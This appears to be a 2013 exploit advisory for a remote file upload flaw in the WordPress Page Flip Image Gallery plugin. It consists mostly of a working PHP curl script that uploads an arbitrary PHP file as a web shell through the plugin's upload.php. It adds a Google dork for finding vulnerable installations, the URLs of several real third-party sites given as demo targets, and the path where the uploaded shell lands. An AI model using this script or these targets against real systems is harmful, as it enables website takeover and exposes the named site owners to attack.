WordPress Page Flip Image Gallery plugin suffers from a remote shell upload vulnerability.
5cea65720b786bc3c060b33d2c65dfd3cd4d87af8bff8fabef4ba7edde5ae817
###############################################################
# Exploit Title: Wordpress page-flip-image-gallery plugins Remote File
Upload Vulnerability
# Author: Ashiyane Digital Security Team
# Date: 12/06/2013
# Vendor Homepage: http://pageflipgallery.com
# Software Link :
http://downloads.wordpress.org/plugin/page-flip-image-gallery.zip
# Google dork: inurl:/wp-content/plugins/page-flip-image-gallery/
# Tested on: Windows/Linux
###############################################################
1)Exploit :
= = = = = =
<?php
$uploadfile="file.php";
$ch = curl_init("
http://127.0.0.1/wp-content/plugins/page-flip-image-gallery/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch,
CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch); print "$postResult";
?>
2) Exploit demo :
= = = = = = = = =
http://arcticpackaging.com/wp-content/plugins/page-flip-image-gallery/upload.php
http://www.panvelkargroup.org/wp-content/plugins/page-flip-image-gallery/upload.php
http://www.jamma.it/wp-content/plugins/page-flip-image-gallery/upload.php
http://www.icipici.ie/suiomh/wp-content/plugins/page-flip-image-gallery/upload.php
# #### #### #### #### #### #### #### #### #
http://[Target]/wp-content/uploads/file.php
# #### #### #### #### #### #### #### #### #
# BY T3rm!nat0r5
# E-mail : poya.terminator@gmail.com
# #### #### #### #### #### #### #### #### #